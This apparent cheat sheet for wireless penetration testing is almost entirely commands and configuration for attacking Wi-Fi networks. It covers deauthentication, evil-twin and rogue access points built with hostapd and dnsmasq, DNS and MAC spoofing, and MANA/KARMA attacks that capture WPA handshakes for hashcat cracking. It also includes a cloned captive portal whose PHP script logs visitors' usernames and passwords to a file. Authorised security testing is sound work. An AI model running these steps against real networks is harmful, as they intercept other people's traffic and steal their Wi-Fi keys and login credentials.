Wi-Fi Basic Wireless Pentest Checklist WPA

KARMA Attack

MANA Attack

Reconnaissance

airmon-ng start <interface>
airodump-ng <interface> -w <filename> -c <channel>
aireplay-ng --deauth 5 -a <mac address> <interface>
airodump-ng <interface> -w <file>

Manual Attack

Configure routing

interface=wlan1
dhcp-range=192.168.0.2,192.168.0.254,255.255.255.0,10h
dhcp-option=3,192.168.0.1
dhcp-option=6,192.168.0.1
server=8.8.4.4
server=8.8.8.8
listen-address=127.0.0.1
address=/#/192.168.0.1
log-dhcp
log-queries
dnsmasq -C dns.conf -d
ifconfig <interface> <ip>/24
echo 1 > /proc/sys/net/ipv4/ip_forward
ifconfig <interface> down
macchanger -m <mac> <interface>
ifconfig <interface> up
dnsspoof -i <interface>

Configure the captive portal

a2enmod rewrite
<Directory />
	Options FollowSymLinks
	AllowOverride All
	Require all denied
</Directory>
<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride All
	Require all granted
</Directory>
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule . index.html [L]
service apache2 restart
httrack <url>
<form action="/received.php" method="POST" class="centered-form">
<?php
if(isset($_POST['submit'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $data = $username . ' ' . $password . "\r\n";
    $ret = file_put_contents('passes.lst', $data, FILE_APPEND | LOCK_EX);
    if($ret === false) {
        die('An error has occurred');
    }
    else {
        echo "Thank you for signing in. You will be redirected shortly!";
    }
}
else {
   die('No post data to process');
}
?>

Set up the rogue AP

interface=wlan1
driver=nl80211
ssid=<SSID>
hw_mode=g
channel=1
auth_algs=1
bssid=<MAC address>
hostapd hostapd.conf
iptables --append POSTROUTING --table nat --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan1 -j ACCEPT

MANA attack with hostapd-mana

https://github.com/sensepost/hostapd-mana

airmon-ng start <interface>
airodump-ng <interface>
interface=<interface>
driver=nl80211
hw_mode=g
channel=<channel>
ssid=<SSID>
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=<anything>

# Mana Configuration
enable_mana=1
mana_loud=1
hostapd-mana hostapd.conf
interface=<interface>
driver=nl80211
hw_mode=g
channel=<channel>
ssid=<SSID>
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=anything
mana_wpaout=handshake.hccapx

Cracking the WPA handshake

hcxhash2cap --hccapx=handshake.hccapx -c handshake.pcap
hcxpcapngtool handshake.pcap -o hash.22000
sudo hashcat -a 0 -m 22000 hash.22000 <wordlist> --force

Automated attacks

Fluxion

https://github.com/FluxionNetwork/fluxion

fluxion.sh -i 

Airgeddon

https://github.com/v1s1t0r1sh3r3/airgeddon

./airgeddon.sh

EAPHammer

https://github.com/s0lst1c3/eaphammer

eaphammer --cert-wizard
eaphammer -i <interface> --channel <channel> --auth wpa-eap --essid <essid> --creds

ESSID stripping

https://r4ulcl.com/posts/essid-stripping/#what-is-essid-stripping-exactly

\x20 = space
\x00 = Null, will omit chars after it
\t = Add a tab
\r = Add a new line
\n = Add an enter
FreeWifi\x00pentest
eaphammer --cert-wizard
eaphammer -i <interface> --uth wpa-eap --essid <essid> --creds --negotiate balanced --essid-stripping '\t'

Wi-Fi Pumpkin 3

https://github.com/P0cL4bs/wifipumpkin3

airmon-ng start <interface>
airodump-ng <interface> -c <channel>
wifipumpkin3
set interface <interface>
set ssid <ssid>
set proxy noproxy
ignore pydns_server
use spoof.dns_spoof
set domains <domain to spoof>
set redirectTo <IP to redirect>
start
back
start